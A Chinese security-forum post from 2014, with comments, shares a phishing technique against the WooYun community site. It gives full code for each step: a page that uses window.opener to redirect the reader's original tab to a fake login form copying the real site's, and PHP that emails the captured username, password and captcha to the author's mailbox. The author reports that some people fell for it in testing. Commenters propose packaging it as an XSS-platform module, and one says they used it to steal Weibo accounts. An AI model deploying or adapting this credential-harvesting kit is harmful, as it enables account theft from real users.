【愚人节分享】一个钓鱼方法【测试几分钟有成功案例】

首先请看演示：http://zonewooyun.sinaapp.com/poc/poc.html

帖子链接：http://zone.wooyun.org/content/11465

前几天想到的方法，晚上没事儿做了一个

效果不是很好，大部分小伙伴都不上当。纯属测试勿喷。

poc.html

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script>
parent.window.opener.location="http://zonewooyun.sinaapp.com/login/";
</script>
<p>哥们！你还真信啊？</p>

这里实现的是打开链接后原页面跳转了，也就是

http://zone.wooyun.org/content/11465

跳转至钓鱼页面

http://zonewooyun.sinaapp.com/login/

/login/index.php---假的登陆页面

<form id="formLogin" action="login.php" method="post" onsubmit="return Check()">
  <table class="formTable">
  <tbody>
  <tr>
    <th width="100">邮箱：</th>
    <td><input id="user" name="user" type="text" style="width: 150px" /></td>
   </tr>
  <tr>
    <th>密码：</th>
    <td><input id="pwd" name="pwd" type="password" style="width: 150px" /></td>
   </tr>
  <tr>
    <th width="100">验证码：</th>
    <td><input id="captcha" name="captcha" type="text" style="width:85px" maxlength="25" />
  <img title="点击刷新验证码" align="top" src="http://zone.wooyun.org/captcha.php?770287" onclick="this.src='http://zone.wooyun.org/captcha.php?'+Math.random()" style="cursor:pointer" /></td>
   </tr>
  <tr>
    <th>&nbsp;</th>
    <td><input type="submit" class="subbtn"  value="登录" /></td>

<meta http-equiv="refresh" content="0.1;url=http://zone.wooyun.org">
<?php
$us=$_POST['user'];
$pw=$_POST['pwd'];
$ca=$_POST['captcha'];
$mail = new SaeMail();
$mail->quickSend(
    "***@126.com" ,
    "test账号密码" ,
    ".$pw..$ca.$us." ,
    "***@126.com" ,
    "密码"
);

$mail->clean();
// 重用此对象
$mail->quickSend(
    "***@126.com" ,
    "test账号密码" ,
    ".$pw..$ca.$us." ,
    "***@126.com" ,
    "密码" ,
    "smtp.126.com" ,
    25
); // 指定smtp和端口
?>

这里接收账号密码，同时跳转至zone首页

个人觉得普通用户上当的可能性还是比较大的，仓促之间做的，不是很完善。

[原文地址]

相关讨论：

MeirLin (www.5D87.com) | 2014-04-01 23:04

我都是直接在社区点登录，

MeirLin (www.5D87.com) | 2014-04-01 23:08

不乏是个好思路，现在这链接都不敢点了 ..

YY-2012 (愿得一大牛，日撸千种站，从早射到黑，白首不分离) | 2014-04-01 23:10

您访问的应用超过访问频次上限

该应用开发者还未通过实名认证，通过实名认证可自动解除访问频次限制。

好人 (您已犯破坏计算机信息系统罪，请跟我们走一趟。) | 2014-04-01 23:10

果断没上当

北京方便面 | 2014-04-01 23:11

@YY-2012 一哥们瞬间给刷爆了

Sogili (.) 长短短 (.) | 2014-04-01 23:11

配合 xss 平台即可收信。

MeirLin (www.5D87.com) | 2014-04-01 23:12

这方法如果配上CSRF .. = =#

YY-2012 (愿得一大牛，日撸千种站，从早射到黑，白首不分离) | 2014-04-01 23:13

@Sogili 要邀请。laidenn@qq.com

Finger (Save water. Shower with your girlfriend.) | 2014-04-01 23:15

@YY-2012 已经正常

10#

Finger (Save water. Shower with your girlfriend.) | 2014-04-01 23:16

思路不错

11#

北京方便面 | 2014-04-01 23:16

嗯可以访问了

12#

Finger (Save water. Shower with your girlfriend.) | 2014-04-01 23:19

社区就是需要讨论，大家有什么想法可以分享出来一起去测试去实现

13#

正好五个字 | 2014-04-01 23:20

@Sogili 求邀请码。

14#

Finger (Save water. Shower with your girlfriend.) | 2014-04-01 23:30

@Sogili 完全可以做成xss平台的一个钓鱼模块

15#

Sogili (.) 长短短 (.) | 2014-04-01 23:32

@Finger 这个东西的关键在于通用的钓鱼页面。

16#

梧桐雨 (?ofni.uygnotuw?) | 2014-04-01 23:36

我就说嘛，肯定是假的。如果是真的方便面先生一定会第一时间拿我做测试

17#

中国公民 (一切动用WVS等大型扫描工具的友情检测都是耍流氓) | 2014-04-01 23:40

这个不错。

18#

小火苗 (为何信息无法出手呢？) | 2014-04-02 00:14

北京方便面真好吃。

19#

whking | 2014-04-02 00:43

make 思路很好，差点中招

20#

大师哥 | 2014-04-02 03:48

....这个我好久之前就用过了偷微博的不错。。。

21#

MeirLin (www.5D87.com) | 2014-04-02 10:12

http://wooyun.sinaapp.com/index.php 乌云?还是反代? @Finger

22#

Finger (Save water. Shower with your girlfriend.) | 2014-04-02 10:20

@MeirLin ping wooyun.org

23#

核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2014-04-02 10:36

不错不错，很猥琐的钓鱼。

留言评论（旧系统）：

洛克 @ 2014-04-02 10:56:45

核总，求个乌云邀请。求发展，我找的一些洞不给过。求学习 helplette@gmail.com

本站回复：

乌云没有邀请机制……

文章目录